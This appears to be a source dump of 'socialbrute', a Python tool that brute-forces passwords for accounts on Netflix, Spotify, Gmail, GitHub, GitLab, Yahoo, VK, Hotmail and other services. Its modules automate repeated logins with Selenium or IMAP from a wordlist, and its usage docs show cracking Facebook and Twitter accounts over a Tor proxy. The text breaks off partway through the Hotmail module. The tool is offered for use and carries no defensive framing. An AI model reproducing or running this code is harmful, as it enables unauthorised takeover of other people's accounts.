├── socialbrute
├── modules
│ ├── __init__.py
│ ├── netflix.py
│ ├── spotify.py
│ ├── gmail.py
│ ├── gitlab.py
│ ├── github.py
│ ├── yahoo.py
│ ├── vk.py
│ ├── hotmail.py
│ ├── aol.py
│ ├── instagram.py
│ ├── twitter.py
│ ├── facebook.py
│ └── linkedin.py
├── __init__.py
├── helpers.py
├── browser.py
├── cli.py
└── socialbrute.py
├── docs
├── history.rst
├── readme.rst
├── contributing.rst
├── modules.rst
├── index.rst
├── Makefile
├── make.bat
├── socialbrute.rst
├── installation.rst
├── usage.rst
├── socialbrute.modules.rst
└── conf.py
├── tests
├── __init__.py
└── test_socialbrute.py
├── requirements_dev.txt
├── MANIFEST.in
├── tox.ini
├── .editorconfig
├── .github
├── ISSUE_TEMPLATE.md
└── FUNDING.yml
├── setup.cfg
├── .travis.yml
├── LICENSE
├── .gitignore
├── README.rst
├── HISTORY.rst
├── setup.py
├── CONTRIBUTING.rst
└── Makefile
/socialbrute/modules/__init__.py:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/docs/history.rst:
--------------------------------------------------------------------------------
1 | .. include:: ../HISTORY.rst
2 |
--------------------------------------------------------------------------------
/docs/readme.rst:
--------------------------------------------------------------------------------
1 | .. include:: ../README.rst
2 |
--------------------------------------------------------------------------------
/docs/contributing.rst:
--------------------------------------------------------------------------------
1 | .. include:: ../CONTRIBUTING.rst
2 |
--------------------------------------------------------------------------------
/tests/__init__.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 |
3 | """Unit test package for socialbrute."""
4 |
--------------------------------------------------------------------------------
/docs/modules.rst:
--------------------------------------------------------------------------------
1 | socialbrute
2 | ===========
3 |
4 | .. toctree::
5 | :maxdepth: 4
6 |
7 | socialbrute
8 |
--------------------------------------------------------------------------------
/requirements_dev.txt:
--------------------------------------------------------------------------------
1 | pip==18.1
2 | bumpversion==0.5.3
3 | wheel==0.32.1
4 | watchdog==0.9.0
5 | flake8==3.5.0
6 | autoflake==1.3.1
7 | autopep8==1.4.4
8 | tox==3.5.2
9 | coverage==4.5.1
10 | Sphinx==1.8.1
11 | twine==1.12.1
12 |
13 |
14 |
--------------------------------------------------------------------------------
/MANIFEST.in:
--------------------------------------------------------------------------------
1 | include CONTRIBUTING.rst
2 | include HISTORY.rst
3 | include LICENSE
4 | include README.rst
5 |
6 | recursive-include tests *
7 | recursive-exclude * __pycache__
8 | recursive-exclude * *.py[co]
9 |
10 | recursive-include docs *.rst conf.py Makefile make.bat *.jpg *.png *.gif
11 |
--------------------------------------------------------------------------------
/socialbrute/__init__.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 |
3 | """Top-level package for socialbrute."""
4 |
5 | __author__ = """5h4d0wb0y"""
6 | __email__ = '5h4d0wb0y@protonmail.com'
7 | __version__ = '1.1.0'
8 | __description__ = 'SocialBrute attempts to crack social networks using a brute force dictionary attack.'
9 | __copyright__ = "2019, 5h4dowboy"
--------------------------------------------------------------------------------
/tox.ini:
--------------------------------------------------------------------------------
1 | [tox]
2 | envlist = py27, py34, py35, py36, flake8
3 |
4 | [travis]
5 | python =
6 | 3.6: py36
7 | 3.5: py35
8 | 3.4: py34
9 | 2.7: py27
10 |
11 | [testenv:flake8]
12 | basepython = python
13 | deps = flake8
14 | commands = flake8 socialbrute
15 |
16 | [testenv]
17 | setenv =
18 | PYTHONPATH = {toxinidir}
19 |
20 | commands = python setup.py test
21 |
22 |
--------------------------------------------------------------------------------
/docs/index.rst:
--------------------------------------------------------------------------------
1 | Welcome to socialbrute's documentation!
2 | =======================================
3 |
4 | .. toctree::
5 | :maxdepth: 2
6 | :caption: Contents:
7 |
8 | readme
9 | installation
10 | usage
11 | modules
12 | contributing
13 | history
14 |
15 | Indices and tables
16 | ==================
17 | * :ref:`genindex`
18 | * :ref:`modindex`
19 | * :ref:`search`
20 |
--------------------------------------------------------------------------------
/.editorconfig:
--------------------------------------------------------------------------------
1 | # http://editorconfig.org
2 |
3 | root = true
4 |
5 | [*]
6 | indent_style = space
7 | indent_size = 4
8 | trim_trailing_whitespace = true
9 | insert_final_newline = true
10 | charset = utf-8
11 | end_of_line = lf
12 |
13 | [*.bat]
14 | indent_style = tab
15 | end_of_line = crlf
16 |
17 | [LICENSE]
18 | insert_final_newline = false
19 |
20 | [Makefile]
21 | indent_style = tab
22 |
--------------------------------------------------------------------------------
/.github/ISSUE_TEMPLATE.md:
--------------------------------------------------------------------------------
1 | * socialbrute version:
2 | * Python version:
3 | * Operating System:
4 |
5 | ### Description
6 |
7 | Describe what you were trying to get done.
8 | Tell us what happened, what went wrong, and what you expected to happen.
9 |
10 | ### What I Did
11 |
12 | ```
13 | Paste the command(s) you ran and the output.
14 | If there was a crash, please include the traceback here.
15 | ```
16 |
--------------------------------------------------------------------------------
/setup.cfg:
--------------------------------------------------------------------------------
1 | [bumpversion]
2 | current_version = 1.1.0
3 | commit = True
4 | message = Bump to version {new_version}
5 | tag = True
6 | tag_name = v{new_version}
7 |
8 | [bumpversion:file:socialbrute/__init__.py]
9 | search = __version__ = '{current_version}'
10 | replace = __version__ = '{new_version}'
11 |
12 | [bumpversion:file:HISTORY.rst]
13 | search = **unreleased**
14 | replace = **unreleased**
15 | **v{new_version}**
16 |
17 | [bdist_wheel]
18 | universal = 1
19 |
20 | [flake8]
21 | exclude = docs
22 |
23 | [aliases]
24 |
25 |
--------------------------------------------------------------------------------
/.github/FUNDING.yml:
--------------------------------------------------------------------------------
1 | # These are supported funding model platforms
2 |
3 | github: # Replace with up to 4 GitHub Sponsors-enabled usernames e.g., [user1, user2]
4 | patreon: # Replace with a single Patreon username
5 | open_collective: 5h4d0wb0y
6 | ko_fi: 5h4d0wb0y
7 | tidelift: # Replace with a single Tidelift platform-name/package-name e.g., npm/babel
8 | community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry
9 | liberapay: # Replace with a single Liberapay username
10 | issuehunt: # Replace with a single IssueHunt username
11 | otechie: # Replace with a single Otechie username
12 | custom: # Replace with up to 4 custom sponsorship URLs e.g., ['link1', 'link2']
13 |
--------------------------------------------------------------------------------
/docs/Makefile:
--------------------------------------------------------------------------------
1 | # Minimal makefile for Sphinx documentation
2 | #
3 |
4 | # You can set these variables from the command line.
5 | SPHINXOPTS =
6 | SPHINXBUILD = python -msphinx
7 | SPHINXPROJ = socialbrute
8 | SOURCEDIR = .
9 | BUILDDIR = _build
10 |
11 | # Put it first so that "make" without argument is like "make help".
12 | help:
13 | @$(SPHINXBUILD) -M help "$(SOURCEDIR)" "$(BUILDDIR)" $(SPHINXOPTS) $(O)
14 |
15 | .PHONY: help Makefile
16 |
17 | # Catch-all target: route all unknown targets to Sphinx using the new
18 | # "make mode" option. $(O) is meant as a shortcut for $(SPHINXOPTS).
19 | %: Makefile
20 | @$(SPHINXBUILD) -M $@ "$(SOURCEDIR)" "$(BUILDDIR)" $(SPHINXOPTS) $(O)
21 |
--------------------------------------------------------------------------------
/socialbrute/helpers.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf -*-
2 |
3 | import click
4 |
5 |
6 | class Colors:
7 | PURPLE = '\033[95m'
8 | CYAN = '\033[96m'
9 | BLUE = '\033[94m'
10 | GREEN = '\033[92m'
11 | YELLOW = '\033[93m'
12 | RED = '\033[91m'
13 | BOLD = '\033[1m'
14 | ENDC = '\033[0m'
15 |
16 |
17 | def print_info(message):
18 | click.echo((Colors.BLUE) + (Colors.BOLD) +
19 | ("i ") + (Colors.ENDC) + (str(message)))
20 |
21 |
22 | def print_success(message):
23 | click.echo((Colors.GREEN) + (Colors.BOLD) +
24 | ("✔ ") + (Colors.ENDC) + (str(message)))
25 |
26 |
27 | def print_warning(message):
28 | click.echo((Colors.YELLOW) + (Colors.BOLD) +
29 | ("! ") + (Colors.ENDC) + (str(message)))
30 |
31 |
32 | def print_error(message):
33 | click.echo((Colors.RED) + (Colors.BOLD) +
34 | ("✗ ") + (Colors.ENDC) + (str(message)))
35 |
--------------------------------------------------------------------------------
/docs/make.bat:
--------------------------------------------------------------------------------
1 | @ECHO OFF
2 |
3 | pushd %~dp0
4 |
5 | REM Command file for Sphinx documentation
6 |
7 | if "%SPHINXBUILD%" == "" (
8 | set SPHINXBUILD=python -msphinx
9 | )
10 | set SOURCEDIR=.
11 | set BUILDDIR=_build
12 | set SPHINXPROJ=socialbrute
13 |
14 | if "%1" == "" goto help
15 |
16 | %SPHINXBUILD% >NUL 2>NUL
17 | if errorlevel 9009 (
18 | echo.
19 | echo.The Sphinx module was not found. Make sure you have Sphinx installed,
20 | echo.then set the SPHINXBUILD environment variable to point to the full
21 | echo.path of the 'sphinx-build' executable. Alternatively you may add the
22 | echo.Sphinx directory to PATH.
23 | echo.
24 | echo.If you don't have Sphinx installed, grab it from
25 | echo.http://sphinx-doc.org/
26 | exit /b 1
27 | )
28 |
29 | %SPHINXBUILD% -M %1 %SOURCEDIR% %BUILDDIR% %SPHINXOPTS%
30 | goto end
31 |
32 | :help
33 | %SPHINXBUILD% -M help %SOURCEDIR% %BUILDDIR% %SPHINXOPTS%
34 |
35 | :end
36 | popd
37 |
--------------------------------------------------------------------------------
/docs/socialbrute.rst:
--------------------------------------------------------------------------------
1 | socialbrute package
2 | ===================
3 |
4 | Subpackages
5 | -----------
6 |
7 | .. toctree::
8 |
9 | socialbrute.modules
10 |
11 | Submodules
12 | ----------
13 |
14 | socialbrute.browser module
15 | --------------------------
16 |
17 | .. automodule:: socialbrute.browser
18 | :members:
19 | :undoc-members:
20 | :show-inheritance:
21 |
22 | socialbrute.cli module
23 | ----------------------
24 |
25 | .. automodule:: socialbrute.cli
26 | :members:
27 | :undoc-members:
28 | :show-inheritance:
29 |
30 | socialbrute.helpers module
31 | --------------------------
32 |
33 | .. automodule:: socialbrute.helpers
34 | :members:
35 | :undoc-members:
36 | :show-inheritance:
37 |
38 | socialbrute.socialbrute module
39 | ------------------------------
40 |
41 | .. automodule:: socialbrute.socialbrute
42 | :members:
43 | :undoc-members:
44 | :show-inheritance:
45 |
46 |
47 | Module contents
48 | ---------------
49 |
50 | .. automodule:: socialbrute
51 | :members:
52 | :undoc-members:
53 | :show-inheritance:
54 |
--------------------------------------------------------------------------------
/.travis.yml:
--------------------------------------------------------------------------------
1 | # Config file for automatic testing at travis-ci.org
2 | sudo: required
3 | language: python
4 | python:
5 | - 3.6
6 | - 3.5
7 | - 3.4
8 | - 2.7
9 | dist: xenial
10 | services:
11 | - xvfb
12 | addons:
13 | chrome: stable
14 |
15 | before_install:
16 | - wget -O /tmp/chromedriver.zip https://chromedriver.storage.googleapis.com/$CHROMEDRIVER/chromedriver_linux64.zip
17 | - mkdir $HOME/chromedriver && unzip /tmp/chromedriver.zip -d $HOME/chromedriver
18 | - export PATH=$HOME/chromedriver:$PATH
19 | - google-chrome-stable --headless --disable-gpu --remote-debugging-port=9222 http://localhost &
20 |
21 | # Command to install dependencies, e.g. pip install -r requirements.txt --use-mirrors
22 | install:
23 | - pip install -U codecov
24 | - pip install -U tox-travis
25 |
26 | # Command to run tests, e.g. python setup.py test
27 | script: tox
28 |
29 | jobs:
30 | include:
31 | - stage:
32 | python: 3.6
33 | env: TOXENV=py36 CHROMEDRIVER=78.0.3904.70
34 | - stage:
35 | python: 3.5
36 | env: TOXENV=py35 CHROMEDRIVER=78.0.3904.70
37 | - stage:
38 | python: 3.4
39 | env: TOXENV=py34 CHROMEDRIVER=78.0.3904.70
40 | - stage:
41 | python: 2.7
42 | env: TOXENV=py27 CHROMEDRIVER=78.0.3904.70
43 |
44 | after_success:
45 | - codecov
46 |
--------------------------------------------------------------------------------
/docs/installation.rst:
--------------------------------------------------------------------------------
1 | .. highlight:: shell
2 |
3 | ============
4 | Installation
5 | ============
6 |
7 |
8 | Stable release
9 | --------------
10 |
11 | To install socialbrute, run this command in your terminal:
12 |
13 | .. code-block:: console
14 |
15 | $ pip install socialbrute
16 |
17 | This is the preferred method to install socialbrute, as it will always install the most recent stable release.
18 |
19 | If you don't have `pip`_ installed, this `Python installation guide`_ can guide
20 | you through the process.
21 |
22 | .. _pip: https://pip.pypa.io
23 | .. _Python installation guide: http://docs.python-guide.org/en/latest/starting/installation/
24 |
25 |
26 | From sources
27 | ------------
28 |
29 | The sources for socialbrute can be downloaded from the `Github repo`_.
30 |
31 | You can either clone the public repository:
32 |
33 | .. code-block:: console
34 |
35 | $ git clone git://github.com/5h4d0wb0y/socialbrute
36 |
37 | Or download the `tarball`_:
38 |
39 | .. code-block:: console
40 |
41 | $ curl -OL https://github.com/5h4d0wb0y/socialbrute/tarball/master
42 |
43 | Once you have a copy of the source, you can install it with:
44 |
45 | .. code-block:: console
46 |
47 | $ python setup.py install
48 |
49 |
50 | .. _Github repo: https://github.com/5h4d0wb0y/socialbrute
51 | .. _tarball: https://github.com/5h4d0wb0y/socialbrute/tarball/master
52 |
--------------------------------------------------------------------------------
/socialbrute/modules/netflix.py:
--------------------------------------------------------------------------------
1 | import time
2 | from selenium.webdriver.common.keys import Keys
3 |
4 |
5 | class Netflix:
6 |
7 | def __init__(self, browser):
8 | self.browser = browser
9 |
10 | def set_config(self, username, wordlist, delay):
11 | self.username = username
12 | self.name = ''
13 | self.wordlist = wordlist
14 | self.delay = delay
15 | self.url = 'https://www.netflix.com/it-en/login'
16 |
17 | def check_user(self):
18 | return False
19 |
20 | def crack(self):
21 | passwords = []
22 | found = ''
23 | with open(self.wordlist, 'r') as f:
24 | for line in f:
25 | passwords.append(line.strip('\n'))
26 | for password in passwords:
27 | self.browser.driver.get(self.url)
28 | email = self.browser.wait_until_element_exists('name', 'userLoginId')
29 | email.clear()
30 | email.send_keys(self.username)
31 | pwd = self.browser.driver.find_element_by_name('password')
32 | pwd.clear()
33 | pwd.send_keys(password)
34 | pwd.send_keys(Keys.RETURN)
35 |
36 | self.browser.wait_page_loaded()
37 | time.sleep(1)
38 |
39 | url = self.browser.driver.current_url
40 | if (url != self.url) and ('browse' in url):
41 | found = password
42 | break
43 | time.sleep(self.delay)
44 |
45 | return found
46 |
--------------------------------------------------------------------------------
/socialbrute/modules/spotify.py:
--------------------------------------------------------------------------------
1 | import time
2 |
3 |
4 | class Spotify:
5 |
6 | def __init__(self, browser):
7 | self.browser = browser
8 |
9 | def set_config(self, username, wordlist, delay):
10 | self.username = username
11 | self.name = ''
12 | self.wordlist = wordlist
13 | self.delay = delay
14 | self.url = 'https://accounts.spotify.com/en/login'
15 |
16 | def check_user(self):
17 | return False
18 |
19 | def crack(self):
20 | passwords = []
21 | found = ''
22 | with open(self.wordlist, 'r') as f:
23 | for line in f:
24 | passwords.append(line.strip('\n'))
25 | for password in passwords:
26 | self.browser.driver.get(self.url)
27 | email = self.browser.wait_until_element_exists('id', 'login-username')
28 | email.clear()
29 | email.send_keys(self.username)
30 | pwd = self.browser.driver.find_element_by_id('login-password')
31 | pwd.clear()
32 | pwd.send_keys(password)
33 | time.sleep(1)
34 | btn = self.browser.driver.find_element_by_id('login-button')
35 | btn.click()
36 |
37 | self.browser.wait_page_loaded()
38 | time.sleep(1)
39 |
40 | url = self.browser.driver.current_url
41 | if (url != self.url) and ('status' in url):
42 | found = password
43 | break
44 | time.sleep(self.delay)
45 |
46 | return found
47 |
--------------------------------------------------------------------------------
/docs/usage.rst:
--------------------------------------------------------------------------------
1 | =====
2 | Usage
3 | =====
4 |
5 | From the `-h` or `--help` help menu:
6 |
7 | .. code-block:: console
8 |
9 | usage: socialbrute [OPTIONS]
10 |
11 | SocialBrute attempts to crack social networks using a brute force dictionary attack.
12 |
13 | Options:
14 | --use-proxy / --no-proxy Set a proxy to use
15 | --proxy-host TEXT Set the proxy host
16 | --proxy-port INTEGER Specify the proxy port
17 | --proxy-user TEXT Set the proxy user
18 | --proxy-pass TEXT Set the proxy user's password
19 | -u, --username TEXT Set the username
20 | -s, --social [aol|facebook|gmail|hotmail|instagram|twitter|vk|yahoo|spotify|netflix|gitlab|github|linkedin]
21 | Set the social network
22 | -w, --wordlist PATH Set the wordlist path
23 | -d, --delay INTEGER Provide the number of seconds the program
24 | delays as each password is tried
25 | --interactive / --no-interactive
26 | Set the browser emulation interactive
27 | --help Show this message and exit.
28 |
29 |
30 |
31 | **Examples**
32 |
33 | Trying to crack a Facebook account:
34 |
35 | .. code-block:: console
36 |
37 | $ socialbrute -s facebook -u YOUR_USERNAME -w ~/wordlist.txt
38 |
39 | Trying to crack a Twitter account with tor support:
40 |
41 | .. code-block:: console
42 |
43 | $ socialbrute -s twitter -u YOUR_USERNAME -w ~/wordlist.txt --use-proxy --proxy-host 127.0.0.1 --proxy-port 9050
44 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | GNU GENERAL PUBLIC LICENSE
2 | Version 3, 29 June 2007
3 |
4 | SocialBrute attempts to crack a social network using a brute force dictionary attack.
5 | Copyright (C) 2019 5h4d0wb0y
6 |
7 | This program is free software: you can redistribute it and/or modify
8 | it under the terms of the GNU General Public License as published by
9 | the Free Software Foundation, either version 3 of the License, or
10 | (at your option) any later version.
11 |
12 | This program is distributed in the hope that it will be useful,
13 | but WITHOUT ANY WARRANTY; without even the implied warranty of
14 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
15 | GNU General Public License for more details.
16 |
17 | You should have received a copy of the GNU General Public License
18 | along with this program. If not, see .
19 |
20 | Also add information on how to contact you by electronic and paper mail.
21 |
22 | You should also get your employer (if you work as a programmer) or school,
23 | if any, to sign a "copyright disclaimer" for the program, if necessary.
24 | For more information on this, and how to apply and follow the GNU GPL, see
25 | .
26 |
27 | The GNU General Public License does not permit incorporating your program
28 | into proprietary programs. If your program is a subroutine library, you
29 | may consider it more useful to permit linking proprietary applications with
30 | the library. If this is what you want to do, use the GNU Lesser General
31 | Public License instead of this License. But first, please read
32 | .
33 |
34 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | # Byte-compiled / optimized / DLL files
2 | __pycache__/
3 | *.py[cod]
4 | *$py.class
5 |
6 | # C extensions
7 | *.so
8 |
9 | # Distribution / packaging
10 | .Python
11 | env/
12 | build/
13 | develop-eggs/
14 | dist/
15 | downloads/
16 | eggs/
17 | .eggs/
18 | lib/
19 | lib64/
20 | parts/
21 | sdist/
22 | var/
23 | wheels/
24 | *.egg-info/
25 | .installed.cfg
26 | *.egg
27 |
28 | # PyInstaller
29 | # Usually these files are written by a python script from a template
30 | # before PyInstaller builds the exe, so as to inject date/other infos into it.
31 | *.manifest
32 | *.spec
33 |
34 | # Installer logs
35 | pip-log.txt
36 | pip-delete-this-directory.txt
37 |
38 | # Unit test / coverage reports
39 | htmlcov/
40 | .tox/
41 | .coverage
42 | .coverage.*
43 | .cache
44 | nosetests.xml
45 | coverage.xml
46 | *.cover
47 | .hypothesis/
48 | .pytest_cache/
49 |
50 | # Translations
51 | *.mo
52 | *.pot
53 |
54 | # Django stuff:
55 | *.log
56 | local_settings.py
57 |
58 | # Flask stuff:
59 | instance/
60 | .webassets-cache
61 |
62 | # Scrapy stuff:
63 | .scrapy
64 |
65 | # Sphinx documentation
66 | docs/_build/
67 |
68 | # PyBuilder
69 | target/
70 |
71 | # Jupyter Notebook
72 | .ipynb_checkpoints
73 |
74 | # pyenv
75 | .python-version
76 |
77 | # celery beat schedule file
78 | celerybeat-schedule
79 |
80 | # SageMath parsed files
81 | *.sage.py
82 |
83 | # dotenv
84 | .env
85 |
86 | # virtualenv
87 | .venv
88 | venv/
89 | ENV/
90 |
91 | # Spyder project settings
92 | .spyderproject
93 | .spyproject
94 |
95 | # Rope project settings
96 | .ropeproject
97 |
98 | # mkdocs documentation
99 | /site
100 |
101 | # mypy
102 | .mypy_cache/
103 |
--------------------------------------------------------------------------------
/socialbrute/modules/gmail.py:
--------------------------------------------------------------------------------
1 | import time
2 | import imaplib
3 | from selenium.webdriver.common.keys import Keys
4 |
5 |
6 | class Gmail:
7 |
8 | def __init__(self, browser):
9 | self.browser = browser
10 |
11 | def set_config(self, username, wordlist, delay):
12 | self.username = username
13 | self.name = ''
14 | self.host = 'imap.gmail.com'
15 | self.port = 993
16 | self.wordlist = wordlist
17 | self.delay = delay
18 |
19 | def check_user(self):
20 | self.browser.driver.get('https://www.google.com/accounts/ForgotPasswd')
21 | try:
22 | email = self.browser.wait_until_element_exists('id', 'identifier')
23 | email.send_keys(self.username)
24 | email.send_keys(Keys.RETURN)
25 | pwd = self.browser.driver.find_element_by_id('password')
26 | if pwd:
27 | self.name = 'Not found'
28 | return True
29 | else:
30 | return False
31 | except BaseException:
32 | return False
33 |
34 | def crack(self):
35 | passwords = []
36 | found = ''
37 | with open(self.wordlist, 'r') as f:
38 | for line in f:
39 | passwords.append(line.strip('\n'))
40 | IMAP4 = imaplib.IMAP4_SSL(self.host, self.port)
41 | for password in passwords:
42 | try:
43 | session = IMAP4.login(self.username, password)
44 | if (session == 'OK' or 'AUTHENTICATE completed'):
45 | found = password
46 | break
47 | except IMAP4.error:
48 | pass
49 | time.sleep(self.delay)
50 |
51 | IMAP4.logout()
52 | return found
53 |
--------------------------------------------------------------------------------
/socialbrute/modules/gitlab.py:
--------------------------------------------------------------------------------
1 | import time
2 | from selenium.webdriver.common.keys import Keys
3 |
4 |
5 | class Gitlab:
6 |
7 | def __init__(self, browser):
8 | self.browser = browser
9 |
10 | def set_config(self, username, wordlist, delay):
11 | self.username = username
12 | self.name = ''
13 | self.wordlist = wordlist
14 | self.delay = delay
15 | self.url = 'https://gitlab.com/users/sign_in'
16 |
17 | def check_user(self):
18 | self.browser.driver.get('https://gitlab.com/%s' % self.username)
19 | if self.username in self.browser.driver.title:
20 | name = self.browser.driver.find_element_by_xpath(
21 | '//*[@id="content-body"]/div[2]/div[1]/div[2]/div[2]/div[1]')
22 | self.name = name.text
23 | return True
24 | else:
25 | return False
26 |
27 | def crack(self):
28 | passwords = []
29 | found = ''
30 | with open(self.wordlist, 'r') as f:
31 | for line in f:
32 | passwords.append(line.strip('\n'))
33 | for password in passwords:
34 | self.browser.driver.get(self.url)
35 | email = self.browser.wait_until_element_exists('id', 'user_login')
36 | email.clear()
37 | email.send_keys(self.username)
38 | pwd = self.browser.driver.find_element_by_id('user_password')
39 | pwd.clear()
40 | pwd.send_keys(password)
41 | pwd.send_keys(Keys.RETURN)
42 |
43 | self.browser.wait_page_loaded()
44 |
45 | url = self.browser.driver.current_url
46 | if (url != self.url) and ('sign_in' not in url):
47 | found = password
48 | break
49 | time.sleep(self.delay)
50 |
51 | return found
52 |
--------------------------------------------------------------------------------
/README.rst:
--------------------------------------------------------------------------------
1 | ===========
2 | socialbrute
3 | ===========
4 |
5 |
6 | .. image:: https://img.shields.io/pypi/v/socialbrute.svg
7 | :target: https://pypi.python.org/pypi/socialbrute
8 |
9 | .. image:: https://img.shields.io/pypi/pyversions/socialbrute.svg
10 | :target: https://pypi.python.org/pypi/socialbrute
11 |
12 | .. image:: https://readthedocs.org/projects/socialbrute/badge/?version=latest
13 | :target: https://socialbrute.readthedocs.io/en/latest/?badge=latest
14 | :alt: Documentation Status
15 |
16 | .. image:: https://travis-ci.com/5h4d0wb0y/socialbrute.svg?branch=master
17 | :target: https://travis-ci.com/5h4d0wb0y/socialbrute
18 |
19 | .. image:: https://codecov.io/github/5h4d0wb0y/socialbrute/coverage.svg?branch=master
20 | :target: https://codecov.io/github/5h4d0wb0y/socialbrute?branch=master
21 |
22 |
23 |
24 | SocialBrute attempts to crack a social network using a brute force dictionary attack.
25 |
26 |
27 | * Free software: GNU General Public License v3
28 | * Documentation: https://socialbrute.readthedocs.io.
29 |
30 |
31 | Features
32 | --------
33 |
34 | * Browser supports proxy configuration
35 | * Social network supported
36 | * Aol
37 | * Facebook
38 | * Gmail
39 | * Hotmail
40 | * Instagram
41 | * Twitter
42 | * VK
43 | * Yahoo
44 | * Spotify
45 | * Netflix
46 | * Gitlab
47 | * Github
48 | * Linkedin
49 |
50 |
51 | Credits
52 | -------
53 |
54 | This package was developed by @5h4d0wb0y_.
55 |
56 | .. _@5h4d0wb0y: https://twitter.com/5h4d0wb0y
57 |
58 |
59 | Stargazers over time
60 | --------------------
61 |
62 | .. image:: https://starchart.cc/5h4d0wb0y/socialbrute.svg
63 | :target: https://starchart.cc/5h4d0wb0y/socialbrute
64 | :alt: Stargazers over time
65 |
--------------------------------------------------------------------------------
/socialbrute/modules/github.py:
--------------------------------------------------------------------------------
1 | import time
2 | from selenium.webdriver.common.keys import Keys
3 |
4 |
5 | class Github:
6 |
7 | def __init__(self, browser):
8 | self.browser = browser
9 |
10 | def set_config(self, username, wordlist, delay):
11 | self.username = username
12 | self.name = ''
13 | self.wordlist = wordlist
14 | self.delay = delay
15 | self.url = 'https://github.com/login'
16 |
17 | def check_user(self):
18 | self.browser.driver.get('https://github.com/%s' % self.username)
19 | if self.username in self.browser.driver.title:
20 | name = self.browser.driver.find_element_by_xpath(
21 | '//*[@id="js-pjax-container"]/div/div[1]/div[2]/div[4]/h1/span[1]')
22 | self.name = name.text
23 | return True
24 | else:
25 | return False
26 |
27 | def crack(self):
28 | passwords = []
29 | found = ''
30 | with open(self.wordlist, 'r') as f:
31 | for line in f:
32 | passwords.append(line.strip('\n'))
33 | for password in passwords:
34 | self.browser.driver.get(self.url)
35 | email = self.browser.wait_until_element_exists('id', 'login_field')
36 | email.clear()
37 | email.send_keys(self.username)
38 | pwd = self.browser.driver.find_element_by_id('password')
39 | pwd.clear()
40 | pwd.send_keys(password)
41 | time.sleep(1)
42 | pwd.send_keys(Keys.RETURN)
43 |
44 | self.browser.wait_page_loaded()
45 |
46 | url = self.browser.driver.current_url
47 | if (url == "https://github.com/"):
48 | found = password
49 | break
50 | time.sleep(self.delay)
51 |
52 | return found
53 |
--------------------------------------------------------------------------------
/socialbrute/modules/yahoo.py:
--------------------------------------------------------------------------------
1 | import time
2 | import imaplib
3 |
4 |
5 | class Yahoo:
6 |
7 | def __init__(self, browser):
8 | self.browser = browser
9 |
10 | def set_config(self, username, wordlist, delay):
11 | self.username = username
12 | self.name = ''
13 | self.host = 'imap.mail.yahoo.com'
14 | self.port = 993
15 | self.wordlist = wordlist
16 | self.delay = delay
17 |
18 | def check_user(self):
19 | self.browser.driver.get('https://login.yahoo.com/')
20 | try:
21 | input = self.browser.wait_until_element_exists('id', 'login-username')
22 | input.clear()
23 | input.send_keys(self.username)
24 | self.browser.driver.find_element_by_id('login-signin').click()
25 | if 'Sorry, we don't recognize this email.' in self.browser.driver.page_source:
26 | return False
27 | elif 'fail' in self.browser.current_url:
28 | return False
29 | else:
30 | self.name = 'Not found'
31 | return True
32 | except BaseException:
33 | return False
34 |
35 | def crack(self):
36 | passwords = []
37 | found = ''
38 | with open(self.wordlist, 'r') as f:
39 | for line in f:
40 | passwords.append(line.strip('\n'))
41 | IMAP4 = imaplib.IMAP4_SSL(self.host, self.port)
42 | for password in passwords:
43 | try:
44 | session = IMAP4.login(self.username, password)
45 | if (session == 'OK' or 'AUTHENTICATE completed'):
46 | found = password
47 | break
48 | except IMAP4.error:
49 | pass
50 | time.sleep(self.delay)
51 |
52 | IMAP4.logout()
53 | return found
54 |
--------------------------------------------------------------------------------
/socialbrute/modules/vk.py:
--------------------------------------------------------------------------------
1 | import time
2 |
3 |
4 | class Vk:
5 |
6 | def __init__(self, browser):
7 | self.browser = browser
8 |
9 | def set_config(self, username, wordlist, delay):
10 | self.username = username
11 | self.name = ''
12 | self.wordlist = wordlist
13 | self.delay = delay
14 | self.url = 'https://vk.com/login'
15 |
16 | def check_user(self):
17 | self.browser.driver.get('https://vk.com/restore')
18 | try:
19 | input = self.browser.wait_until_element_exists('id', 'login_input')
20 | input.clear()
21 | input.send_keys(self.username)
22 | self.browser.driver.find_element_by_id('submitBtn').click()
23 | msg = self.browser.driver.find_element_by_xpath(
24 | '//div[@class="msg_text"]')
25 | if msg:
26 | return False
27 | else:
28 | return True
29 | except BaseException:
30 | return False
31 |
32 | def crack(self):
33 | passwords = []
34 | found = ''
35 | with open(self.wordlist, 'r') as f:
36 | for line in f:
37 | passwords.append(line.strip('\n'))
38 | for password in passwords:
39 | self.browser.driver.get(self.url)
40 | email = self.browser.wait_until_element_exists('id', 'email')
41 | email.send_keys(self.username)
42 | pwd = self.browser.driver.find_element_by_id('pass')
43 | pwd.send_keys(password)
44 |
45 | self.browser.driver.find_elements_by_id('login_button').click()
46 |
47 | url = self.browser.driver.current_url
48 | if not url.startswith(self.url):
49 | found = password
50 | break
51 | time.sleep(self.delay)
52 |
53 | return found
54 |
--------------------------------------------------------------------------------
/socialbrute/modules/hotmail.py:
--------------------------------------------------------------------------------
1 | import time
2 | import imaplib
3 | from selenium.common.exceptions import NoSuchElementException
4 |
5 |
6 | class Hotmail:
7 |
8 | def __init__(self, browser):
9 | self.browser = browser
10 |
11 | def set_config(self, username, wordlist, delay):
12 | self.username = username
13 | self.name = ''
14 | self.host = 'imap-mail.outlook.com'
15 | self.port = 993
16 | self.wordlist = wordlist
17 | self.delay = delay
18 |
19 | def check_user(self):
20 | self.browser.driver.get('https://login.live.com/login.srf')
21 | input = self.browser.wait_until_element_exists('name', 'loginfmt')
22 | input.clear()
23 | input.send_keys(self.username)
24 | self.browser.driver.find_element_by_id('idSIButton9').click()
25 | try:
26 | self.browser.wait_until_element_exists('id', 'usernameError')
27 | return False
28 | except NoSuchElementException:
29 | return True
30 | # try:
31 | # self.browser.driver.find_element_by_name('passwd')
32 | # return True
33 | # except NoSuchElementException:
34 | # return False
35 |
36 | def crack(self):
37 | passwords = []
38 | found = ''
39 | with open(self.wordlist, 'r') as f:
40 | for line in f:
41 | passwords.append(line.strip('\n'))
42 | IMAP4 = imaplib.IMAP4_SSL(self.host, self.port)
